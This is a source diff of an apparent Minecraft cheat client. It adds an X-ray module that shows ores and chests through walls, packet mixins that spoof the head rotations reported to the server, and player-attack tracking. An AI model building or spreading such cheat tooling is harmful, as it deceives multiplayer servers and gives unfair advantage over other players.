re.setCustomName(Text.of("DoNotRenderThisUsernamePlease"));
|
||||
stack.pop();
|
||||
Renderer.R2D.drawEntity((20 * renderWX) + x, (modalHeight - 11) * renderWX + y, renderWX * 27, -10, -10, entity, stack);
|
||||
re.setCustomName(cname);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,64 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.render;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import net.minecraft.block.Block;
|
||||
import net.minecraft.block.Blocks;
|
||||
import net.minecraft.block.OreBlock;
|
||||
import net.minecraft.block.RedstoneOreBlock;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.util.registry.Registry;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
public class XRAY extends Module {
|
||||
|
||||
public static final List<Block> blocks = Lists.newArrayList();
|
||||
|
||||
public XRAY() {
|
||||
super("XRAY", "\"yea hold on im going mining rq\"", ModuleType.WORLD);
|
||||
Registry.BLOCK.forEach(block -> {
|
||||
if (blockApplicable(block)) {
|
||||
blocks.add(block);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
boolean blockApplicable(Block block) {
|
||||
boolean c1 = block == Blocks.CHEST || block == Blocks.FURNACE || block == Blocks.END_GATEWAY || block == Blocks.COMMAND_BLOCK || block == Blocks.ANCIENT_DEBRIS;
|
||||
boolean c2 = block instanceof OreBlock || block instanceof RedstoneOreBlock;
|
||||
return c1 || c2;
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
SipoverPrivate.client.worldRenderer.reload();
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
SipoverPrivate.client.worldRenderer.reload();
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
39
src/main/java/me/x150/sipprivate/helper/AttackManager.java
Normal file
39
src/main/java/me/x150/sipprivate/helper/AttackManager.java
Normal file
|
@ -0,0 +1,39 @@
|
|||
package me.x150.sipprivate.helper;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import net.minecraft.entity.EntityType;
|
||||
import net.minecraft.entity.LivingEntity;
|
||||
|
||||
public class AttackManager {
|
||||
|
||||
public static final long MAX_ATTACK_TIMEOUT = 5000;
|
||||
static long lastAttack = 0;
|
||||
static LivingEntity lastAttacked;
|
||||
|
||||
public static LivingEntity getLastAttackInTimeRange() {
|
||||
if (getLastAttack() + MAX_ATTACK_TIMEOUT < System.currentTimeMillis() || SipoverPrivate.client.player == null || SipoverPrivate.client.player.isDead()) {
|
||||
lastAttacked = null;
|
||||
}
|
||||
if (lastAttacked != null) {
|
||||
if (lastAttacked.getPos().distanceTo(SipoverPrivate.client.player.getPos()) > 16 || lastAttacked.isDead()) {
|
||||
lastAttacked = null;
|
||||
}
|
||||
}
|
||||
return lastAttacked;
|
||||
}
|
||||
|
||||
public static void registerLastAttacked(LivingEntity entity) {
|
||||
if (entity.getType() != EntityType.PLAYER) {
|
||||
return;
|
||||
}
|
||||
if (entity.equals(SipoverPrivate.client.player)) {
|
||||
return;
|
||||
}
|
||||
lastAttacked = entity;
|
||||
lastAttack = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
public static long getLastAttack() {
|
||||
return lastAttack;
|
||||
}
|
||||
}
|
98
src/main/java/me/x150/sipprivate/helper/HologramManager.java
Normal file
98
src/main/java/me/x150/sipprivate/helper/HologramManager.java
Normal file
|
@ -0,0 +1,98 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.helper;
|
||||
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.nbt.NbtByte;
|
||||
import net.minecraft.nbt.NbtCompound;
|
||||
import net.minecraft.nbt.NbtDouble;
|
||||
import net.minecraft.nbt.NbtList;
|
||||
import net.minecraft.nbt.NbtString;
|
||||
import net.minecraft.text.Text;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
public class HologramManager {
|
||||
|
||||
public static Hologram generateDefault(String text, Vec3d pos) {
|
||||
return new Hologram().position(pos).text(text).isEgg(false).isSmall(false);
|
||||
}
|
||||
|
||||
public static class Hologram {
|
||||
|
||||
String text;
|
||||
Vec3d pos;
|
||||
boolean isEgg = false, isChild = false, isVisible = false, hasGravity = false, wrapName = true, isMarker = true;
|
||||
|
||||
public Hologram() {
|
||||
this.text = "";
|
||||
this.pos = Vec3d.ZERO;
|
||||
}
|
||||
|
||||
public Hologram text(String text) {
|
||||
this.text = text;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isMarker(boolean m) {
|
||||
this.isMarker = m;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram hasGravity(boolean hasGravity) {
|
||||
this.hasGravity = hasGravity;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isVisible(boolean isVisible) {
|
||||
this.isVisible = isVisible;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram position(Vec3d pos) {
|
||||
this.pos = pos;
|
||||
return this;
|
||||
}
|
||||
|
||||
@SuppressWarnings("UnusedReturnValue") public Hologram wrapsName(boolean wrapName) {
|
||||
this.wrapName = wrapName;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isEgg(boolean isEgg) {
|
||||
this.isEgg = isEgg;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isSmall(boolean isChild) {
|
||||
this.isChild = isChild;
|
||||
return this;
|
||||
}
|
||||
|
||||
public ItemStack generate() {
|
||||
ItemStack stack = new ItemStack(isEgg ? Items.BEE_SPAWN_EGG : Items.ARMOR_STAND);
|
||||
NbtCompound tag = new NbtCompound();
|
||||
NbtList pos = new NbtList();
|
||||
pos.add(NbtDouble.of(this.pos.x));
|
||||
pos.add(NbtDouble.of(this.pos.y));
|
||||
pos.add(NbtDouble.of(this.pos.z));
|
||||
tag.put("CustomNameVisible", NbtByte.ONE);
|
||||
tag.put("CustomName", wrapName ? NbtString.of("{\"text\":\"" + this.text.replaceAll("&", "§") + "\"}") : NbtString.of(this.text.replaceAll("&", "§")));
|
||||
tag.put("Invisible", NbtByte.of(!isVisible));
|
||||
tag.put("Invulnerable", NbtByte.ONE);
|
||||
tag.put("NoGravity", NbtByte.of(!hasGravity));
|
||||
tag.put("Small", NbtByte.of(isChild));
|
||||
tag.put("Marker", NbtByte.of(isMarker));
|
||||
tag.put("Pos", pos);
|
||||
if (isEgg) {
|
||||
tag.put("id", NbtString.of("minecraft:armor_stand"));
|
||||
}
|
||||
stack.setSubNbt("EntityTag", tag);
|
||||
stack.setCustomName(Text.of("§r§cHologram"));
|
||||
return stack;
|
||||
}
|
||||
}
|
||||
}
|
133
src/main/java/me/x150/sipprivate/helper/Rotations.java
Normal file
133
src/main/java/me/x150/sipprivate/helper/Rotations.java
Normal file
|
@ -0,0 +1,133 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.helper;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.mixin.IPlayerMoveC2SPacketAccessor;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
|
||||
import net.minecraft.util.math.MathHelper;
|
||||
import net.minecraft.util.math.Vec2f;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class Rotations {
|
||||
|
||||
static boolean enabled = false;
|
||||
private static float clientPitch;
|
||||
private static float clientYaw;
|
||||
private static long lastModificationTime = 0;
|
||||
private static Vec3d targetV3;
|
||||
|
||||
static {
|
||||
Events.registerEventHandler(EventType.PACKET_SEND, event1 -> {
|
||||
PacketEvent event = (PacketEvent) event1;
|
||||
if (isEnabled() && event.getPacket() instanceof PlayerMoveC2SPacket packet) {
|
||||
IPlayerMoveC2SPacketAccessor accessor = (IPlayerMoveC2SPacketAccessor) packet;
|
||||
accessor.setPitch(getClientPitch());
|
||||
accessor.setYaw(getClientYaw());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
static void timeoutCheck() {
|
||||
if (System.currentTimeMillis() - lastModificationTime > 1000) {
|
||||
disable();
|
||||
} else {
|
||||
enable();
|
||||
}
|
||||
}
|
||||
|
||||
static void tick() {
|
||||
timeoutCheck();
|
||||
}
|
||||
|
||||
public static void lookAtV3(Vec3d target) {
|
||||
targetV3 = target;
|
||||
lastModificationTime = System.currentTimeMillis();
|
||||
update();
|
||||
}
|
||||
|
||||
public static void lookAtPositionSmooth(Vec3d target, double laziness) {
|
||||
double delX = target.x - Objects.requireNonNull(SipoverPrivate.client.player).getX();
|
||||
double delZ = target.z - SipoverPrivate.client.player.getZ();
|
||||
double delY = target.y - (SipoverPrivate.client.player.getY() + SipoverPrivate.client.player.getEyeHeight(SipoverPrivate.client.player.getPose()));
|
||||
|
||||
// setting yaw
|
||||
double required = Math.toDegrees(Math.atan2(delZ, delX)) - 90, delta, add, speed;
|
||||
delta = MathHelper.wrapDegrees(required - SipoverPrivate.client.player.getYaw());
|
||||
speed = Math.abs(delta / laziness);
|
||||
add = speed * (delta >= 0 ? 1 : -1);
|
||||
if ((add >= 0 && add > delta) || (add < 0 && add < delta)) {
|
||||
add = delta;
|
||||
}
|
||||
SipoverPrivate.client.player.setYaw(SipoverPrivate.client.player.getYaw() + (float) add);
|
||||
|
||||
// setting pitch
|
||||
double sqrt = Math.sqrt(delX * delX + delZ * delZ);
|
||||
required = -Math.toDegrees(Math.atan2(delY, sqrt));
|
||||
delta = MathHelper.wrapDegrees(required - SipoverPrivate.client.player.getPitch());
|
||||
speed = Math.abs(delta / laziness);
|
||||
add = speed * (delta >= 0 ? 1 : -1);
|
||||
if ((add >= 0 && add > delta) || (add < 0 && add < delta)) {
|
||||
add = delta;
|
||||
}
|
||||
SipoverPrivate.client.player.setPitch(SipoverPrivate.client.player.getPitch() + (float) add);
|
||||
}
|
||||
|
||||
public static Vec2f getPitchYaw(Vec3d targetV3) {
|
||||
double vec = 57.2957763671875;
|
||||
Vec3d target = targetV3.subtract(Objects.requireNonNull(SipoverPrivate.client.player).getEyePos());
|
||||
double square = Math.sqrt(target.x * target.x + target.z * target.z);
|
||||
float pitch = MathHelper.wrapDegrees((float) (-(MathHelper.atan2(target.y, square) * vec)));
|
||||
float yaw = MathHelper.wrapDegrees((float) (MathHelper.atan2(target.z, target.x) * vec) - 90.0F);
|
||||
return new Vec2f(pitch, yaw);
|
||||
}
|
||||
|
||||
public static void update() {
|
||||
tick();
|
||||
if (targetV3 != null) {
|
||||
Vec2f py = getPitchYaw(targetV3);
|
||||
clientYaw = py.y;
|
||||
clientPitch = py.x;
|
||||
}
|
||||
}
|
||||
|
||||
public static float getClientPitch() {
|
||||
return clientPitch;
|
||||
}
|
||||
|
||||
public static void setClientPitch(float clientPitch) {
|
||||
lastModificationTime = System.currentTimeMillis();
|
||||
Rotations.clientPitch = clientPitch;
|
||||
}
|
||||
|
||||
public static float getClientYaw() {
|
||||
return clientYaw;
|
||||
}
|
||||
|
||||
public static void setClientYaw(float clientYaw) {
|
||||
lastModificationTime = System.currentTimeMillis();
|
||||
Rotations.clientYaw = clientYaw;
|
||||
}
|
||||
|
||||
public static void enable() {
|
||||
enabled = true;
|
||||
}
|
||||
|
||||
public static boolean isEnabled() {
|
||||
return enabled;
|
||||
}
|
||||
|
||||
public static void disable() {
|
||||
enabled = false;
|
||||
targetV3 = null;
|
||||
}
|
||||
}
|
||||
|
|
@ -7,8 +7,8 @@ import net.minecraft.client.util.math.MatrixStack;
|
|||
public class ClientFontRenderer implements FontAdapter {
|
||||
final GlyphPageFontRenderer renderer;
|
||||
|
||||
public ClientFontRenderer(GlyphPageFontRenderer gpfr) {
|
||||
this.renderer = gpfr;
|
||||
public ClientFontRenderer(GlyphPageFontRenderer fontRenderer) {
|
||||
this.renderer = fontRenderer;
|
||||
}
|
||||
|
||||
@Override public int drawString(MatrixStack matrices, String text, float x, float y, int color) {
|
||||
|
|
|
@ -1,39 +0,0 @@
|
|||
package me.x150.sipprivate.helper.util;
|
||||
|
||||
import java.awt.*;
|
||||
|
||||
public class Transitions {
|
||||
|
||||
/**
|
||||
* @param value The current value
|
||||
* @param goal The value to transition to
|
||||
* @param speed The speed of the operation (BIGGER = SLOWER!)
|
||||
* @return The new value
|
||||
*/
|
||||
public static double transition(double value, double goal, double speed) {
|
||||
return transition(value, goal, speed, 0.02);
|
||||
}
|
||||
|
||||
public static double transition(double value, double goal, double speed, double skipSize) {
|
||||
speed = speed < 1 ? 1 : speed;
|
||||
double diff = goal - value;
|
||||
double diffCalc = diff / speed;
|
||||
if (Math.abs(diffCalc) < skipSize) {
|
||||
diffCalc = diff;
|
||||
}
|
||||
return value + diffCalc;
|
||||
}
|
||||
|
||||
public static Color transition(Color value, Color goal, double speed) {
|
||||
int rn = (int) Math.floor(transition(value.getRed(), goal.getRed(), speed));
|
||||
int gn = (int) Math.floor(transition(value.getGreen(), goal.getGreen(), speed));
|
||||
int bn = (int) Math.floor(transition(value.getBlue(), goal.getBlue(), speed));
|
||||
int an = (int) Math.floor(transition(value.getAlpha(), goal.getAlpha(), speed));
|
||||
return new Color(rn, gn, bn, an);
|
||||
}
|
||||
|
||||
public static double easeOutExpo(double x) {
|
||||
return x < 0.5 ? 4 * x * x * x : 1 - Math.pow(-2 * x + 2, 3) / 2;
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.mixin;
|
||||
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
import me.x150.sipprivate.feature.module.impl.render.XRAY;
|
||||
import net.minecraft.block.AbstractBlock;
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.injection.At;
|
||||
import org.spongepowered.asm.mixin.injection.Inject;
|
||||
import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
@Mixin(AbstractBlock.AbstractBlockState.class) public class AbstractBlockStateMixin {
|
||||
|
||||
@Inject(method = "getLuminance", at = @At("HEAD"), cancellable = true) public void atomic_overwriteBlockLuminance(CallbackInfoReturnable<Integer> cir) {
|
||||
if (Objects.requireNonNull(ModuleRegistry.getByClass(XRAY.class)).isEnabled()) {
|
||||
cir.setReturnValue(15);
|
||||
}
|
||||
}
|
||||
}
|
37
src/main/java/me/x150/sipprivate/mixin/BlockMixin.java
Normal file
37
src/main/java/me/x150/sipprivate/mixin/BlockMixin.java
Normal file
|
@ -0,0 +1,37 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.mixin;
|
||||
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
import me.x150.sipprivate.feature.module.impl.render.XRAY;
|
||||
import net.minecraft.block.Block;
|
||||
import net.minecraft.block.BlockState;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Direction;
|
||||
import net.minecraft.world.BlockView;
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.injection.At;
|
||||
import org.spongepowered.asm.mixin.injection.Inject;
|
||||
import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
@Mixin(Block.class) public class BlockMixin {
|
||||
|
||||
@Inject(method = "shouldDrawSide", at = @At("HEAD"), cancellable = true)
|
||||
private static void atomic_overwriteShouldDrawSide(BlockState state, BlockView world, BlockPos pos, Direction side, BlockPos blockPos, CallbackInfoReturnable<Boolean> cir) {
|
||||
if (Objects.requireNonNull(ModuleRegistry.getByClass(XRAY.class)).isEnabled()) {
|
||||
cir.setReturnValue(XRAY.blocks.contains(state.getBlock()));
|
||||
}
|
||||
}
|
||||
|
||||
@Inject(method = "isTranslucent", at = @At("HEAD"), cancellable = true)
|
||||
public void atomic_overwriteIsTranslucent(BlockState state, BlockView world, BlockPos pos, CallbackInfoReturnable<Boolean> cir) {
|
||||
if (Objects.requireNonNull(ModuleRegistry.getByClass(XRAY.class)).isEnabled()) {
|
||||
cir.setReturnValue(!XRAY.blocks.contains(state.getBlock()));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.mixin;
|
||||
|
||||
import net.minecraft.network.PacketByteBuf;
|
||||
import net.minecraft.network.packet.c2s.play.CustomPayloadC2SPacket;
|
||||
import net.minecraft.util.Identifier;
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.Mutable;
|
||||
import org.spongepowered.asm.mixin.gen.Accessor;
|
||||
|
||||
@Mixin(CustomPayloadC2SPacket.class) public interface ICustomPayloadC2SPacketAccessor {
|
||||
|
||||
@Accessor("channel") Identifier getChannel();
|
||||
|
||||
@Accessor("data") PacketByteBuf getData();
|
||||
|
||||
@Mutable @Accessor("data") void setData(PacketByteBuf newValue);
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.mixin;
|
||||
|
||||
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.Mutable;
|
||||
import org.spongepowered.asm.mixin.gen.Accessor;
|
||||
|
||||
@Mixin(PlayerMoveC2SPacket.class) public interface IPlayerMoveC2SPacketAccessor {
|
||||
|
||||
@Mutable @Accessor("onGround") void setOnGround(boolean onGround);
|
||||
|
||||
@Accessor("x") double getX();
|
||||
|
||||
@Mutable @Accessor("x") void setX(double x);
|
||||
|
||||
@Accessor("y") double getY();
|
||||
|
||||
@Mutable @Accessor("y") void setY(double y);
|
||||
|
||||
@Accessor("z") double getZ();
|
||||
|
||||
@Mutable @Accessor("z") void setZ(double z);
|
||||
|
||||
@Accessor("yaw") float getYaw();
|
||||
|
||||
@Mutable @Accessor("yaw") void setYaw(float yaw);
|
||||
|
||||
@Mutable @Accessor("pitch") void setPitch(float pitch);
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
package me.x150.sipprivate.mixin;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.helper.AttackManager;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.LivingEntity;
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.injection.At;
|
||||
import org.spongepowered.asm.mixin.injection.Inject;
|
||||
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
|
||||
|
||||
@Mixin(LivingEntity.class) public class LivingEntityMixin {
|
||||
@Inject(method = "onAttacking", at = @At("HEAD")) public void atomic_setLastAttacked(Entity target, CallbackInfo ci) {
|
||||
if (this.equals(SipoverPrivate.client.player) && target instanceof LivingEntity entity) {
|
||||
AttackManager.registerLastAttacked(entity);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,42 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.mixin;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.helper.Rotations;
|
||||
import net.minecraft.client.render.entity.LivingEntityRenderer;
|
||||
import net.minecraft.entity.LivingEntity;
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.injection.At;
|
||||
import org.spongepowered.asm.mixin.injection.ModifyVariable;
|
||||
|
||||
@Mixin(LivingEntityRenderer.class) public class LivingEntityRendererMixin {
|
||||
|
||||
@ModifyVariable(method = "render(Lnet/minecraft/entity/LivingEntity;FFLnet/minecraft/client/util/math/MatrixStack;Lnet/minecraft/client/render/VertexConsumerProvider;I)V", ordinal = 2,
|
||||
at = @At(value = "STORE", ordinal = 0)) public float atomic_overwriteYaw(float oldValue, LivingEntity le) {
|
||||
if (Rotations.isEnabled() && le.equals(SipoverPrivate.client.player)) {
|
||||
return Rotations.getClientYaw();
|
||||
}
|
||||
return oldValue;
|
||||
}
|
||||
|
||||
@ModifyVariable(method = "render(Lnet/minecraft/entity/LivingEntity;FFLnet/minecraft/client/util/math/MatrixStack;Lnet/minecraft/client/render/VertexConsumerProvider;I)V", ordinal = 3,
|
||||
at = @At(value = "STORE", ordinal = 0)) public float atomic_overwriteHeadYaw(float oldValue, LivingEntity le) {
|
||||
if (le.equals(SipoverPrivate.client.player) && Rotations.isEnabled()) {
|
||||
return Rotations.getClientYaw();
|
||||
}
|
||||
return oldValue;
|
||||
}
|
||||
|
||||
@ModifyVariable(method = "render(Lnet/minecraft/entity/LivingEntity;FFLnet/minecraft/client/util/math/MatrixStack;Lnet/minecraft/client/render/VertexConsumerProvider;I)V", ordinal = 5,
|
||||
at = @At(value = "STORE", ordinal = 3)) public float atomic_overwritePitch(float oldValue, LivingEntity le) {
|
||||
if (le.equals(SipoverPrivate.client.player) && Rotations.isEnabled()) {
|
||||
return Rotations.getClientPitch();
|
||||
}
|
||||
return oldValue;
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.mixin;
|
||||
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.gen.Accessor;
|
||||
|
||||
@Mixin(PlayerInteractEntityC2SPacket.class) public interface PlayerInteractEntityC2SPacketAccessor {
|
||||
|
||||
@Accessor("entityId") int getEntityId();
|
||||
}
|
|
@ -14,14 +14,10 @@ import me.x150.sipprivate.helper.event.events.base.NonCancellableEvent;
|
|||
import me.x150.sipprivate.keybinding.KeybindingManager;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.security.MessageDigest;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.zip.DeflaterOutputStream;
|
||||
import java.util.zip.InflaterOutputStream;
|
||||
|
@ -37,26 +33,6 @@ public class ConfigManager {
|
|||
CONFIG_FILE = new File(SipoverPrivate.BASE, "config.sip");
|
||||
}
|
||||
|
||||
/**
|
||||
* Encrypts a byte array with a key
|
||||
*
|
||||
* @param in The byte array to encrypt
|
||||
* @param key The key to use
|
||||
* @return The encrypted byte array
|
||||
* @throws Exception If something goes wrong
|
||||
*/
|
||||
static byte[] encrypt(byte[] in, String key) throws Exception {
|
||||
byte[] k = key.getBytes(StandardCharsets.UTF_8);
|
||||
MessageDigest msgd = MessageDigest.getInstance("SHA-1");
|
||||
k = msgd.digest(k);
|
||||
k = Arrays.copyOf(k, 16);
|
||||
SecretKeySpec sks = new SecretKeySpec(k, "AES");
|
||||
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
|
||||
cipher.init(Cipher.ENCRYPT_MODE, sks);
|
||||
// return Base64.getEncoder().encodeToString(cipher.doFinal(in.getBytes(StandardCharsets.UTF_8)));
|
||||
return cipher.doFinal(in);
|
||||
}
|
||||
|
||||
/**
|
||||
* Compresses a byte array using GZIP Deflate
|
||||
*
|
||||
|
@ -88,31 +64,12 @@ public class ConfigManager {
|
|||
return os.toByteArray();
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypts a byte array with a key
|
||||
*
|
||||
* @param in The byte array to decrypt
|
||||
* @param key The key used to encrypt the byte array
|
||||
* @return The decrypted byte array
|
||||
* @throws Exception If something goes wrong
|
||||
*/
|
||||
static byte[] decrypt(byte[] in, String key) throws Exception {
|
||||
byte[] k = key.getBytes(StandardCharsets.UTF_8);
|
||||
MessageDigest msgd = MessageDigest.getInstance("SHA-1");
|
||||
k = msgd.digest(k);
|
||||
k = Arrays.copyOf(k, 16);
|
||||
SecretKeySpec sks = new SecretKeySpec(k, "AES");
|
||||
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
|
||||
cipher.init(Cipher.DECRYPT_MODE, sks);
|
||||
return cipher.doFinal(in);
|
||||
}
|
||||
|
||||
/**
|
||||
* Saves the current state of the client to the file
|
||||
*/
|
||||
public static void saveState() {
|
||||
if (!loaded || !enabled) {
|
||||
System.out.println("Not saving config because we didnt load it yet");
|
||||
System.out.println("Not saving config because we didn't load it yet");
|
||||
return;
|
||||
}
|
||||
System.out.println("Saving state");
|
||||
|
@ -138,8 +95,7 @@ public class ConfigManager {
|
|||
base.add("enabled", enabled);
|
||||
base.add("config", config);
|
||||
try {
|
||||
FileUtils.writeByteArrayToFile(CONFIG_FILE, encrypt(compress(base.toString().getBytes(StandardCharsets.UTF_8)), "amogus"));
|
||||
// FileUtils.write(CONFIG_FILE, encrypt(base.toString(), "amogus"), StandardCharsets.UTF_8);
|
||||
FileUtils.writeByteArrayToFile(CONFIG_FILE, compress(base.toString().getBytes(StandardCharsets.UTF_8)));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
System.out.println("Failed to save config!");
|
||||
|
@ -163,22 +119,21 @@ public class ConfigManager {
|
|||
if (!CONFIG_FILE.exists()) {
|
||||
return;
|
||||
}
|
||||
byte[] retrv = FileUtils.readFileToByteArray(CONFIG_FILE);
|
||||
// String retrv = FileUtils.readFileToString(CONFIG_FILE, StandardCharsets.UTF_8);
|
||||
String decr = new String(decompress(decrypt(retrv, "amogus")));
|
||||
JsonObject config = new JsonParser().parse(decr).getAsJsonObject();
|
||||
byte[] retrieved = FileUtils.readFileToByteArray(CONFIG_FILE);
|
||||
String decompressed = new String(decompress(retrieved));
|
||||
JsonObject config = JsonParser.parseString(decompressed).getAsJsonObject();
|
||||
if (config.has("config") && config.get("config").isJsonArray()) {
|
||||
JsonArray configArray = config.get("config").getAsJsonArray();
|
||||
for (JsonElement jsonElement : configArray) {
|
||||
if (jsonElement.isJsonObject()) {
|
||||
JsonObject jobj = jsonElement.getAsJsonObject();
|
||||
String name = jobj.get("name").getAsString();
|
||||
JsonObject jsonObj = jsonElement.getAsJsonObject();
|
||||
String name = jsonObj.get("name").getAsString();
|
||||
Module j = ModuleRegistry.getByName(name);
|
||||
if (j == null) {
|
||||
continue;
|
||||
}
|
||||
if (jobj.has("pairs") && jobj.get("pairs").isJsonArray()) {
|
||||
JsonArray pairs = jobj.get("pairs").getAsJsonArray();
|
||||
if (jsonObj.has("pairs") && jsonObj.get("pairs").isJsonArray()) {
|
||||
JsonArray pairs = jsonObj.get("pairs").getAsJsonArray();
|
||||
for (JsonElement pair : pairs) {
|
||||
JsonObject jo = pair.getAsJsonObject();
|
||||
String key = jo.get("key").getAsString();
|
||||
|
|
Binary file not shown.
|
@ -3,21 +3,28 @@
|
|||
"package": "me.x150.sipprivate.mixin",
|
||||
"compatibilityLevel": "JAVA_17",
|
||||
"mixins": [
|
||||
"AbstractBlockStateMixin",
|
||||
"AChatScreenMixin",
|
||||
"AInGameHudMixin",
|
||||
"BlockEntityRenderDispatcherMixin",
|
||||
"BlockMixin",
|
||||
"BlockRenderManagerMixin",
|
||||
"ClientConnectionMixin",
|
||||
"ClientPlayerEntityMixin",
|
||||
"EntityRenderDispatcherMixin",
|
||||
"GameRendererMixin",
|
||||
"ICustomPayloadC2SPacketAccessor",
|
||||
"IMinecraftClientAccessor",
|
||||
"IPlayerMoveC2SPacketAccessor",
|
||||
"IRenderTickCounterAccessor",
|
||||
"ItemStackMixin",
|
||||
"KeyboardMixin",
|
||||
"LivingEntityMixin",
|
||||
"LivingEntityRendererMixin",
|
||||
"MinecraftClientMixin",
|
||||
"MouseMixin",
|
||||
"PlayerEntityMixin"
|
||||
"PlayerEntityMixin",
|
||||
"PlayerInteractEntityC2SPacketAccessor"
|
||||
],
|
||||
"client": [],
|
||||
"server": [],
|
||||
|
|
Loading…
Reference in a new issue